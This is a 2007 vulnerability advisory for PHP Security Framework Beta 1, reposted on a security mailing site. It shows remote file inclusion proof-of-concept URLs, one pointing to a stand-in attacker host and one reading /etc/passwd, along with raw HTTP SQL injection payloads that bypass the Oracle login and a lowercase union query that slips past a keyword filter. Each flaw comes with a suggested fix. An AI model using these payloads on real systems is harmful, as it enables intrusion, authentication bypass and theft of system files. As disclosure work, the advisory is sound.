Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  Multiple xss in mambo 4.6.2

  Uber Uploader <= 5.3.6 Remote File Upload Vulnerability

  SurgeMail v.38k4 webmail Host header crash

  neuron news1.0 Multiple Remote Vulnerabilities (sql injection/xss)

From:gmdarkfig_(at)_gmail.com <gmdarkfig_(at)_gmail.com>
Date:18.12.2007
Subject:PHP Security Framework: Vuln and Security Bypass

      Title:   PHP Security Framework (Beta 1)
               Multiple Vulnerabilities and Security Bypass

     Vendor:   http://benjilenoob.66ghz.com/projects/

   Advisory:   http://acid-root.new.fr/?0:16
     Author:   DarkFig < gmdarkfig (at) gmail (dot) com >

Released on:   2007/12/16
  Changelog:   2007/12/16

    Summary:   [HT] Remote File Inclusion
               [MT] SQL Injection
               [MT] SQL Injection Protection Bypass
               [__] Conclusion

     Legend:   L - Low risk         M - Medium risk
               H - High risk        T - Tested

 Risk level:   High
        CVE:   ----------



 I - REMOTE FILE INCLUSION

 The file "lib/base.inc.php" contains the following code:

 10| include_once("$MODEL_DIR/FrameworkPage.class.php");
 15| include_once("$COMMON_DIR/adodb/adodb-active-record.inc.
php");
 26| include_once("$DAO_DIR/Administrator.class.php");
 35| include_once("$LOGIC_DIR/AdministratorLogic.class.php");

 As you can see, all variables aren't sanatized before
 being used. So this can lead to RFI if the php directives
 allow_url_fopen and allow_url_include are set to On. This
 can also lead to LFI if the php directive magic_quotes_gpc
 is set to Off.

 Proof Of Concept:
 http://localhost/PSF/lib/base.inc.php?MODEL_DIR=http://hacker.com/
 http://localhost/PSF/lib/base.inc.php?DAO_DIR=/etc/passwd%00

 The author shouldn't use variables for the inclusions, the
 best way to protect against this type of vulnerability is
 to use constants because they can't be registered by
 register_globals if they're properly defined (no variables
 used).



 II - SQL INJECTION

 The script supports several server databases, Oracle
 included. So the script must also be secured for this type
 of server database.

 In a recent research that I have done, I found that
 60% of the PHP scripts which support Oracle aren't safe !
 People think that if they use the function addslashes()
 on a string which has quotes, they'll be secured
 against SQL Injection. On MySQL that's roughly true, but
 on Oracle that's wrong.

 The escape character for MySQL is a backslashes, \x92[\].
 The escape character for Oracle is a single quote, \x39['].

 The script has a user interface for the administrators.
 The file "lib/control/AuthentificationController.class.php"
 contains the following code:

  4| public function __construct()
  5| {
  6| $FrameworkPage = FrameworkPage::getInstance();
  7| $FrameworkPage->setHeadTitle("Authenfication Form");
  8| $FrameworkPage->setPageTitle("PHPSecurityFramework");
  9|         
 10| if(isset($_REQUEST['username']) && isset($_REQUEST['password']))
 11| $this->Login($_REQUEST['username'], $_REQUEST['password']);
 12| }
 13|     
 14| public function Login($username, $password)
 15| {
 16| $username = addslashes($username);
 17| $password = md5($password);
 18| $AdministratorLogic = new AdministratorLogic();
 19|         
 20| if($AdministratorLogic->validateAdministrator($username,
$password))
 22| session_register('psf_admin');

 The function addslashes() is applied to $username, after
 the function valideAdministrator() is called with two
 parameters. This function contains the following code:

 10| public function validateAdministrator($username, $password)
 11| {
 12| if(is_string($username) && is_string($password))
 13| {
 14| $Admin = new Administrator();
 15|
 16| if( ($Admin->load("username=?", array($username))) !==false)
 17| {
 18|   if($Admin->md5password==$password)
 19|           return true;

 The code for the Administrator class is situated in the
 file "lib/dao/Administrator.class.php":

 2| class Administrator extends ADOdb_Active_Record
 3| {
 4|    public $_table = 'psf_administrator';
 5| }

 The function load() contains this code (situated in
 "lib/common/adodb/adodb-active-record.inc.php"):

 384|  function Load($where,$bindarr=false)
 385|  {
 386|  $db =& $this->DB(); if (!$db) return false;
 387|  $this->_where = $where;
 388|  
 389|  $save = $db->SetFetchMode(ADODB_FETCH_NUM);
 390|  $row = $db->GetRow("select * from ".$this->_table.' WHERE '.$where,$bindarr);
 391|  $db->SetFetchMode($save);
 392|          
 393|  return $this->Set($row);
 394|  }

 I will take an example to explain how it works.
 Let's send this HTTP packet:

 POST /PSF/index.php?page=authentification HTTP/1.1\r\n
 Host: localhost\r\n
 Connection: keep-alive\r\n
 Content-Type: application/x-www-form-urlencoded\r\n
 Content-Length: 66\r\n\r\n
 username=root%27&password=toor&page=authentification&button=Log+
in\r\n\r\n

 The SQL request will be like this:
 select * from psf_administrator WHERE username='root\\\\\\\\\\\\\
\\''

 If we're on MySQL there's no problem, but if we're on
 Oracle, this return an error: ORA-01756: quoted string
 not properly terminated. This can be exploited, for
 example if you want to bypass the authentification
 protection, send the following HTTP packet:

 POST /PSF/index.php?page=authentification HTTP/1.1\r\n
 Host: localhost\r\n
 Connection: keep-alive\r\n
 Content-Type: application/x-www-form-urlencoded\r\n
 Content-Length: <SIZE>\r\n\r\n
 username=8%27+union+select+CHR%2856%29%2CCHR%2857%29%
2CCHR%2857%29
 %2CCHR%2857%29+FROM+psf_administrator-----------
&password=9&page=a
 uthentification&button=Log+in\r\n\r\n

 The SQL request will look's like this:
 select * from psf_administrator WHERE username='8\\\\\\\\\\\\\\
\'
 union select CHR(56),CHR(57),CHR(57),CHR(57) FROM psf_administr
 ator-----------'

 So the function validateAdministrator() will return TRUE.
 The protection will be bypassed, even if magic_quotes_gpc
 is enabled. To protect against SQL Injection with quotes
 on Oracle servers, we must replace each ' by ''. We can
 do that with str_replace() or by enabling the PHP
 directive magic_quotes_sybase.
 


 III - SQL INJECTION PROTECTION BYPASS

 From the file "lib/common/SecureHttpRequest.class.php":

  94| * Function: PreventFromSqlInjection()
  95| * $param:  $string_to_parse
  96| *
  97| * This function prevent from some sql injection that does
  98| * not require any quote.
  99| * Exemple: index.php?id=1 UNION SELECT user, password ...
 100| *
 101| * It will return a secure string.

 By seeing this comment and how the function is called, I
 know that they'll be a filter against SQL Injections.
 Let's see how the string is secured:

 105| if(is_string($string_to_parse) and !empty($string_to_parse))
 106| {
 111|    $keywords =
    |    array('UNION','OUTFILE','DUMPFILE',
'ORDER','SELECT');
    |
 112|    foreach($keywords as $keyword)
    |
 113|    $string_to_parse =
    |    str_replace($keyword, "_$keyword", $string_to_parse);
 114|          
 115|    return $string_to_parse;
 116| }

 The str_replace() function is case sensitive, so we can
 bypass this protection by using SQL commands with lower
 case. In other case the attacker doesn't need these commands
 to perform an SQL Injection attack, a filter protection
 can't protect completely against this type of attack.
 Let's take the example from the file "examples/noQuoteSql
 Injection.test.php":

  1| Try some UNION and co stuff to display the administrator
   | password in the client table
  2| <hr>
  3| <?php
   |
  4| // SELECT title, message FROM news WHERE news.id = 1 UNION
   |    SELECT username, password FROM client WHERE client.id = 1
   |    INTO OUTFILE 'c:/hacked.txt'
   |
  5| include_once("../PHPSecFramework/getsecure.php");
   |
  6| mysql_connect('localhost', 'root', 'vertrigo');
  7| mysql_select_db('hackme');
   |
  8| $query = mysql_query("SELECT title, message FROM news WHERE
   | news.id = " . $_GET['id']);
   |
  9| $result = mysql_fetch_array($query);
 10| print_r($result);
 11| ?>

 What if we try to send this content:
 ?id=-1 union select username,password from client limit 1

 The protection is bypassed and the SQL Injection is
 exploited. If the author wanna apply his filter
 completely, he must use the function str_ireplace().



 IV - CONCLUSION

 The goal of the project is interesting, but how it was
 made, can't conduct to its success. For example,
 SQL Injections with quotes are protected by doing the
 same thing as magic_quotes_gpc, this didn't resolve its
 problems.

 Before doing something which depends on what the user
 has sent, we must analyze all data before using them.

 Applying a filter won't be enough, we must code
 an algorithm which protects perfectly against each type
 of attack, even if we have to replace basic functions.

 I hope this advisory will change the way this project
 is going on.

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru
test server